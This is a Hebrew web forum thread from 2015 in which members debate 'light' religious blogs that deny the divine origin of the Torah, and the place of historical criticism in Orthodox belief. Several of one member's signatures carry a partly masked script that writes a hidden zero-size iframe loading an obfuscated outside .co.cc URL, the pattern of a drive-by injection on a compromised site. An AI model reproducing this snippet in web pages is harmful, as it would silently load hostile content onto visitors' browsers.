|
|
| נשלח ב-12/7/2015 19:30 |
|
| |
אמשלום, פשוט כי אברם גולש כאן בזהות גלויה - אבי דנטלסקי. פעם גם התכתבי איתו במייל... כמובן יכול להיות שמישהו גנב לו את הזהות, אבל נראה לי שהשאלה שלך לא כוונה לספקנות קרטזיאנית.
|
|
|
|
| נשלח ב-12/7/2015 19:55 |
|
| |
פרוגרמי
ברוך הבא/השב!
איקון ירוק על הנושא. חידשת לי!
כפי שכתבו כאן (ירוחמ למשל), המונח "לייט" מציין בדרך כלל זלזול וירידה בהקפדה על מצוות, כך שזה שיפוט לגבי הכותבים. ויש לעיין אם הוא מוצדק. ולכל הפחות זה היה מצריך "גילוי נאות" של דעתך אודותיהם.
לאחר הבהרה זו, שוב, איקון ירוק. לא ידעתי שזו תופעה.
בעיני שלי, יש להפריד בין: מחוייבות למצוות ודיוק במצוות (לא רציתי לכתוב: דקדוק) לבין ביקורת שיש בה גם מחקר היסטורי שמטרתה להבין את מקור התורה והמצוות.
הפורום שלנו אכן עוסק גם במחקר היסטורי בכלים הצנועים שיש לכותביו, וחלקנו, למשל אני, משתדלים לזהות שינויים והתפתחויות היסטוריות. (הערה מתחום האוטוביוגרפיה האינטלקטואלית: כשהגעתי לכאן, בראשית ימי הפורום, האמנתי בלב שלם שאין התפתחות בהלכה וכולה התפרטות כמו לוגית של עקרונות המיושמים לפרטים. לקח לי זמן להבין שזה לא כך וללמוד לחיות עם זה. זה עדיין קשה).
השימוש בכלי מחקר היסטוריים, כשהוא נעשה בזהירות, יכול להבדיל בין עיקר לטפל ואולי אפילו בין שקר לאמת, או למצער בין אמירות בלתי מבוססות שראוי לדחות בגלל סתירות לבין אמונות שיש להן מקור עתיק יותר ומוצדק פילוסופית. זאת במערכת האמונות. או להבדיל בין עקרונות ראשונים שניתן לזהות את עתיקותם (גם אם אפשר לדון על התאריך הראשון) לבין תוספות מאוחרות, שגם הן לפעמים סותרות את העקרונות הראשונים.
אבחנה כזו יכולה לשמש כדי לתת חיות למערכת שנראית לפעמים מאובנת ופוגעת באיכות החיים של מי שרוצה להיות יהודי טוב שומר מצוות. אבחנה כזו וגישה ביקורתית יכולות כמובן לשמש כדי לתקוף ולדרדר.
יש להוסיף על זה שההיסטוריה של הדורות האחרונים מראה שאלו שהחלו עם ביקורת מוצדקת, נניח על מנהגים או על מנת להבדיל בין מקורי ותוספות (קדיש יתום, "עלינו לשבח") התגלו כרפורמים. האם מי שיתמוך בגישה ביקורתית כמו שלי יגלה שהוא מוביל לרפורמה, במובן המקובל - והשלילי לפחות בעיני האורתודוכס - של המילה?
אין לי נבואה אז לא אוכל לומר.
אני כן יודע שאני מונע, עד כמה שאני יכול לדעת, מתוך מטרה של יראת שמים ויושר אינטלקטואלי. כאמור בהצהרה הפותחת של הפורום, בעיני הם זהים.
אני סבור שזה מקדם ויקדם את היכולת והרצון שלנו לשמור מצוות לדעת מה הן המצוות.
אם בלוגים מהסוג שאתה מתאר מקדמים את זה, מה טוב. וזו לפיכך תופעה ברוכה.
אם בחסות הזו נלחמים נגד שמירת מצוות, זה פסול בעיני. אבל גם אז הדרך לענות לתופעה היא בחכמה, בגובה העינים, ולא בהתנשאות ושלילה ללא נימוקים.
עוד דבר. אחת האבחנות במחקר של שינוי חברתי ותרבותי היא לשאול היכן זה מתחיל ומה מניע את התהליך. בלשון חז"ל אפשר שזה מאופיין על ידי החילוק בין "סתירת זקנים" לבין "בנין צעירים". בלשון אחרת, בין שינוי שמתחיל "מלמעלה", מבעלי הסמכות והחכמה, לבין מה שמתחיל "מלמטה", מן העם.
יתכן שהחלוקה הזו לשתים היא פשטנית מדי. יתכן שיש מקום, שחייבת להיות הכרה, בכך שגם מי שלא מוכר במעמד הלכתי, "גדול", או חוקר אקדמי ידוע, עדיין יכול להיות מצליח בתחום המסויים שלנו ולתרום רבות.
כתבתי את ההערות הכלליות שלי בלי להכיר את התופעה לפרטיה. זו תופעה שעלולה להיות מסוכנת ולשרת מטרות מנוגדות מאד, אבל כל עוד היא מסייעת להפצת תורה ויראת שמים ויושר אינטלקטואלי, סבורני שיש לברך עליה, והמקום (=אלוקים) שמח עליה. אני ודאי שמח עליה ומברך עליה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
 |
|
|
|
|
| נשלח ב-12/7/2015 19:56 |
|
| |
דברי נכתבו לפני דברי אמשלום ויש. אמנם לא נראה שזה משנה במשהו.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-12/7/2015 20:12 |
|
| |
מיימוני, אתה אורטודוקסי, הדעות שלך הם בתוך הקשת, נכון שהרב נדל הוא בקצה, אבל מבפנים. אף שכמובן לדעת קנאים שונים צריכים להרוג אותו ואולי אותך (זה כמובן לא מעליב). אתה יוצק תוכן למונחים תורה מן השמים, תורה שבעל פה, וכו', תוכן שאתה מאמין בו, גם אם, מה לעשות, הוא לא זהה לצורה בה ראו את הדברים החזון איש / החפץ חיים / הבית יוסף. התופעה שדיברתי עליה היא חוץ אורטודוקסית, היא לא יוצרת תוכן למושג תורה מן השמים, אלא אומרת שאיננה מן השמים, או שאולי חלקים ממנה יכולים להיות מוגדרים כך. כנ"ל תושבע"פ, מקומם של חז"ל, וכו'. השאלה היא האם זו חילוניות גרידא, משהו שעושה את הנפילה רכה יותר, שלב אחד בו יש סימפטיה למקורות ואף דנים מי כתב אותם ולמה, מה שמיקל את המעבר לשלב השני של מי אכפת לי מי כתב מה, והחוצה... או שמא יש כאן עדיין סוג של קבוצה דתית שעדיין לא התגבשה, וכל אחד מאתנו יכול לסייע בעצה טובה וברעיונות...
|
|
|
|
| נשלח ב-12/7/2015 20:13 |
|
| |
ועוד משהו, איני מבין מה הזלזול אם אתה לוקח 'לייט' משהו שאתה לא מאמין בו?
|
|
|
|
| נשלח ב-12/7/2015 20:21 |
|
| |
אמאשלום - :)
אי אפשר לצאת פה לחופש... כבר עשו לי אאוטינג...
|
|
|
|
|
| נשלח ב-12/7/2015 20:35 |
|
| |
אברם, הבלוג שלך יצא לחופש יחד אתך.
|
|
|
|
| נשלח ב-12/7/2015 20:44 |
|
| |
הוא מתכוין שפרסמתי פה שהוא מוצלח בגרפיקה, ובמקום לנוח בצימר, הוא מקבל טלפונים של הזמנות עבודה...
|
|
|
|
| נשלח ב-13/7/2015 01:08 |
|
| |
שאפו פרוגרמי, אתה מוציא מכולם את המיטב...
לעצם העניין:
לא כל דבר הוא ממוסגר - דתיים / לא דתיים, כבד / לייט, חרדים / ד"ל / חילוניים.
מוזר, אבל יש אנשים שלא אכפת להם מכל זה. הם פשוט רוצים לחשוב. לשאול, לענות, להסתפק ולפשוט.
יתכן שמותר?
האם תתן לנו רשות?
|
|
|
|
| נשלח ב-13/7/2015 07:03 |
|
| |
פרוגרמי
קראתי שוב את דבריך. והגעתי למסקנה שאיני יודע על איזו תופעה אתה מצביע. תחילה חשבתי שאני מבין על מה אתה מדבר. עכשו אני חושש שלא.
משפטים כמו:
מקבלים את סמכות חז"ל ערעור האמונה בתורה מן השמים באחוזים ספר זה מן התורה הוא אותנטי אבל חלקית
ובסופו של דבר: איזו דת יכולה לצמוח על הרקע הזה?
האם אתה מזהה תופעה של סטיה מן המסורת או שאתה מגלה תופעה שהיתה קיימת מאז ומעולם, של מוכנות לשאול מה העיקר בדת שלי ומה פחות, מה נכון ומה התקבל במסורת בטעות.
גם חז"ל, לפי עדות עצמם, היו מוכנים לדחות חלקים מן התנ"ך החוצה בגלל סתירות פנימיות, אבל אישרו אותם משום שהיה חכם שהצליח ליישב את הסתירות.
השאלה מדוע דברי חז"ל מחייבים, ובאיזה אופן הם מחייבים, נראית במבט ראשון מזעזעת ואפיקורסית, אבל היא בעצם בירור של אחד היסודות של הדת בזמננו. ראשונים נדרשו לה.
מתי תופעה היא יחידאית ומתי תופעה היא קבוצתית, אף זו שאלה שאיני יודע לענות עליה בבירור. לעתים נתקלים בדברי פלוני ומזהים שזו תופעה יחידה במינה. לעתים כבר יש קבוצה. מה מגדיר פעילות יחידים כקבוצה, זו שאלה שצריך כמסתבר מושגים ממדע הסוציולוגיה כדי לענות עליה.
האם האופן שבו החזו"א והב"י והח"ח ראו את התלמוד הוא זהה? האם יחסם להלכות ולמחלוקות דומה? סבורני שלא. אמנם יתכן שיש משהו משותף לכולם בדבר הבא: אם היו נתקלים בסתירה בין המקורות לבין ידע חיצוני, על מה היו מוותרים ובמה היו דוגלים? האם היו מוכנים לומר שדבר מסויים שמופיע בתלמוד הוא ודאי נכון ומי שסבור שצריך להוציאו מפשוטו, או לומר שהוא טעות, האם זו הגישה הנכונה או עבירה, או במקרה הטוב ביותר טעות? אם נסכים ששלושתם היו מעדיפים להגדיר כל דבר המופיע בתלמוד בתור אמת ברובד הפשוט ביותר, ואם זו ההגדרה של האורתודוכסיות שלהם, האם זו ההגדרה שראוי לנו לאמץ? שאפשר לנו לחיות איתה בלי לדעת שאנו משקרים לעצמנו?
השאלות האחרונות האלו אינן קשורות לתופעה שתארת של אתרים של דתיים לייט כי אני רואה שאיני מכיר אותם אז איך אוכל לדעת מה הם אומרים ובמה אני מסכים ובמה לא?
אני כן סבור שכל תהליך של בירור, של נסיון להגיע לאמת, יבורך הוא. כמובן, כל תהליך כזה הוא מסוכן. גם מפני שבאמצע התהליך ניתן להחפז ולשלול מה שנחשב לאמת לפני שמגיעים לסינתזה חדשה של אמונה. וגם מפני שלאחר שמתחילים בתהליך כזה, כבר כנראה אי אפשר להישאר עם מכלול המסורת שמקובל להציג בזמננו כמחייב כפי שהוא. אבל האם זה רע? אולי זו בגרות? בגיל ההתבגרות אדם לומד שהוא צריך לנווט את חייו ולהישען על דעתו והוריו אינם מושלמים, וגם לא מוריו. הוא חייב בכבודם, אבל הוא גם מכיר בכך שיתכן שיש מקום לתבוע יותר ממה שהם מייצגים. יתכן שהתהליך שאתה מתאר, עם כל סכנותיו, הוא סוג של התבגרות נפשית ואמונית.
אם כן, אזי מדובר בתהליך בריא ואף בלתי נמנע. ואם כן הדבר, אז הטוב לעשות, לדעתי, הוא להעניק מקום לדיונים כאלו כדי לסייע למתקשים ולמתלבטים להבדיל בין עיקר לטפל כשהם נשארים עם האורתודוכסיה ולא כשהם נאלצים לצאת ממנה.
שוב, כתבתי דברים כלליים שאני סבור שהם נכונים. אבל באיזו מידה הם חלים על האתרים שאתה מתאר, זאת לא אוכל לדעת.
תיקון סופי אני מקוה: אני רואה שפשוט לא שמתי לב שדבריך כוללים לינקים וצריך לעיין בהם! סליחה! אם יהיה לי זמן להתרשם, אכתוב שוב. בינתים, אין לי אלא את ההערות שנכתבו אפריורי ולכן איני יודע אם הם חלים על הנאמר בלינקים הללו.
__תוקנה השמטת הח"ח__- תוקנה טעות מביכה שלא שמתי לב שהיו לינקים בדברי פרוגרמי לעיל!_____________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 13/07/2015 07:04:21
תוקן על ידי מיימוני ב- 13/07/2015 07:07:34
 |
|
|
|
|
| נשלח ב-13/7/2015 07:06 |
|
| |
| כמדומני כתב: |  | שאפו פרוגרמי, אתה מוציא מכולם את המיטב...
לעצם העניין:
לא כל דבר הוא ממוסגר - דתיים / לא דתיים, כבד / לייט, חרדים / ד"ל / חילוניים.
מוזר, אבל יש אנשים שלא אכפת להם מכל זה. הם פשוט רוצים לחשוב. לשאול, לענות, להסתפק ולפשוט.
יתכן שמותר?
האם תתן לנו רשות? |
|
נראה לי שאתה הולך בקו של ירוחם, ואני לא כל כל מבין איך זה קשור לדברי. אני לא דנתי בשאלה אם זה אסור או מותר, או אם יש לחשוב. אלא רק בתוצאה, של אנשים בתוך החברה הדתית שלא מאמינים בתורה משמים, ולא כספיקות העולים במח, אלא כמשנה סדורה המופצת באתר או בבלוג, מה זה אומר מבחינה סוציולוגית ותיאולוגית, ולאן זה יכול להתקדם.
|
|
|
|
| נשלח ב-13/7/2015 07:10 |
|
| |
| מיימוני כתב: |  | פרוגרמי
קראתי שוב את דבריך. והגעתי למסקנה שאיני יודע על איזו תופעה אתה מצביע. תחילה חשבתי שאני מבין על מה אתה מדבר. עכשו אני חושש שלא.
משפטים כמו:
מקבלים את סמכות חז"ל ערעור האמונה בתורה מן השמים באחוזים ספר זה מן התורה הוא אותנטי אבל חלקית
ובסופו של דבר: איזו דת יכולה לצמוח על הרקע הזה?
האם אתה מזהה תופעה של סטיה מן המסורת או שאתה מגלה תופעה שהיתה קיימת מאז ומעולם, של מוכנות לשאול מה העיקר בדת שלי ומה פחות, מה נכון ומה התקבל במסורת בטעות.
גם חז"ל, לפי עדות עצמם, היו מוכנים לדחות חלקים מן התנ"ך החוצה בגלל סתירות פנימיות, אבל אישרו אותם משום שהיה חכם שהצליח ליישב את הסתירות.
השאלה מדוע דברי חז"ל מחייבים, ובאיזה אופן הם מחייבים, נראית במבט ראשון מזעזעת ואפיקורסית, אבל היא בעצם בירור של אחד היסודות של הדת בזמננו. ראשונים נדרשו לה.
מתי תופעה היא יחידאית ומתי תופעה היא קבוצתית, אף זו שאלה שאיני יודע לענות עליה בבירור. לעתים נתקלים בדברי פלוני ומזהים שזו תופעה יחידה במינה. לעתים כבר יש קבוצה. מה מגדיר פעילות יחידים כקבוצה, זו שאלה שצריך כמסתבר מושגים ממדע הסוציולוגיה כדי לענות עליה.
האם האופן שבו החזו"א והב"י והח"ח ראו את התלמוד הוא זהה? האם יחסם להלכות ולמחלוקות דומה? סבורני שלא. אמנם יתכן שיש משהו משותף לכולם בדבר הבא: אם היו נתקלים בסתירה בין המקורות לבין ידע חיצוני, על מה היו מוותרים ובמה היו דוגלים? האם היו מוכנים לומר שדבר מסויים שמופיע בתלמוד הוא ודאי נכון ומי שסבור שצריך להוציאו מפשוטו, או לומר שהוא טעות, האם זו הגישה הנכונה או עבירה, או במקרה הטוב ביותר טעות? אם נסכים ששלושתם היו מעדיפים להגדיר כל דבר המופיע בתלמוד בתור אמת ברובד הפשוט ביותר, ואם זו ההגדרה של האורתודוכסיות שלהם, האם זו ההגדרה שראוי לנו לאמץ? שאפשר לנו לחיות איתה בלי לדעת שאנו משקרים לעצמנו?
השאלות האחרונות האלו אינן קשורות לתופעה שתארת של אתרים של דתיים לייט כי אני רואה שאיני מכיר אותם אז איך אוכל לדעת מה הם אומרים ובמה אני מסכים ובמה לא?
אני כן סבור שכל תהליך של בירור, של נסיון להגיע לאמת, יבורך הוא. כמובן, כל תהליך כזה הוא מסוכן. גם מפני שבאמצע התהליך ניתן להחפז ולשלול מה שנחשב לאמת לפני שמגיעים לסינתזה חדשה של אמונה. וגם מפני שלאחר שמתחילים בתהליך כזה, כבר כנראה אי אפשר להישאר עם מכלול המסורת שמקובל להציג בזמננו כמחייב כפי שהוא. אבל האם זה רע? אולי זו בגרות? בגיל ההתבגרות אדם לומר שהוא צריך לנווט את חייו ולהישען על דעתו והוריו אינם מושלמים, וגם לא מוריו. הוא חייב בכבודם, אבל הוא גם מכיר בכך שיתכן שיש מקום לתבוע יותר ממה שהם מייצגים. יתכן שהתהליך שאתה מתאר, עם כל סכנותיו, הוא סוג של התבגרות נפשית ואמונית.
אם כן, אזי מדובר בתהליך בריא ואף בלתי נמנע. ואם כן הדבר, אז הטוב לעשות, לדעתי, הוא להעניק מקום לדיונים כאלו כדי לסייע למתקשים ולמתלבטים להבדיל בין עיקר לטפל כשהם נשארים עם האורתודוכסיה ולא כשהם נאלצים לצאת ממנה.
שוב, כתבתי דברים כלליים שאני סבור שהם נכונים. אבל באיזו מידה הם חלים על האתרים שאתה מתאר, זאת לא אוכל לדעת.
אולי תרצה לציין שלוש דוגמאות כאלו, מלבד הדוגמא של חברנו אברהם העברי, כלומר לציין שמות של אתרים ולינקים ודוגמאות מאפיינות.
__תוקנה השמטת הח"ח_______________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");
תוקן על ידי מיימוני ב- 13/07/2015 07:04:21 |
|
מימוני, מוזר לי שאינך מבין מה אני אומר, ביקשת עוד דוגמאות, ובהודעה שלי יש 5 לינקים. אתה מערבב בין בירור וחשיבה ואף ביקורתיות או מסקנה שיש איזה יב' פסוקים או כד' שאינם מן השמים, ובין המסקנה שתורה אינה מן השמים, וגם לא באיזה בחינה של נבואה שהיא סוג של חלום או מצב נפשי וכו'. כלומר פחות מליבוביץ. על מעלת החשיבה והבדיקה דברו כבר רבים וטובים, אבל על התוצאה של מי שבדק וחשב ומגיע למסקנה שהדת נשללת לגמרי מבחינה היסטורית ותיאולוגית, לא דברו הרבים וטובים הללו, אולי הניחו שכל מי שחושב יגיע לאיזה חלק של הדת עכ"פ. אני מדבר על אותם שבדקו כפי שאתה ממליץ, אבל לא הגיעו למסקנות שלך, שיש כל מיני נוסחאות מכובסות שבסופו של דבר מצדיקים את מה שאתה עושה בחייך, אלא להיפך, שבעיקרון הגיע הזמן לשים פס ולעזוב, אלא ש... (כאן זה לא כ"כ ברור אז לא הצלחתי להבין). יוצאים בשאלה היו תמיד (אלו שיצאו בגלל שאלהים לא יכול להרים אבן שהוא לא יכול לעשות או להיפך, וכן בגלל שכינים מטילות ביצים), אבל זה זן מאד ספציפי.
 |
|
|
|
|
| נשלח ב-13/7/2015 07:23 |
|
| |
פרוגרמי
כפי שכתבתי בסוף דברי, בתיקון, לא שמתי לב שהיו לינקים. כעת אני מציץ בהם. לא שמתי לב שהם שוללים את ההלכה. אם הם שוללים את ההלכה באופן גורף, אין חלקי עמהם. כמובן, הדרך לענות להם היא לענות ולא לצעוק ולא להעליב. ואין דברי אמורים כלפיך.
בהזדמנות זו אוסיף מה שכתבתי בתיבה האישית לחבר חכם שאולי יגיע להגיב כאן.
זו תופעה באמת מעניינת. אמנם דומה שהיא סובלת מתופעה האוטודידקטיות. כלומר, דברים נכתבים נכון אבל על לפעמים על סמך מידע מועט ולכן המסקנות מקומיות ואפשר לערער עליהן. כפי שיש תמימות בתוך הדת, יש גם תמימות במי שמערער עליה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-13/7/2015 08:01 |
|
| |
רבינו, בתור מנהל, אתה אחראי שניצמד לנושא, לא? הנושא לא היה איך "לענות" להם, וגם לא "מדוע אינם צודקים". אתה יוצא מההנחה הדתית שלך שבודאי יש תשובות ובודאי אפשר לקיים איזו שהיא נוסחה של תורה מן השמים, שמים בתורה, על פה בתורה, ועוד ועוד. ומי שלא הוא אוטודידקט (לומד נהיגה?), ואסור להעליב אותו. אני דיברתי על אותם אלו שבדקו וחקרו, ולא משנה איך, (אגב, יש גם כופרים שאינם אוטודידקטים, הכפירה היא עמדה די ממסדית בהרבה מקומות), והמסקנה שלהם היא ש:לא, אין תמ"ה, אין תה"מ, שב"ת, וכו'. ועדיין הם בתוך המסגרת של יהדות לייט, כי עובדה שהם לא חוצים את הקוים.
|
|
|
|
| נשלח ב-13/7/2015 08:14 |
|
| |
|
|
|
|
|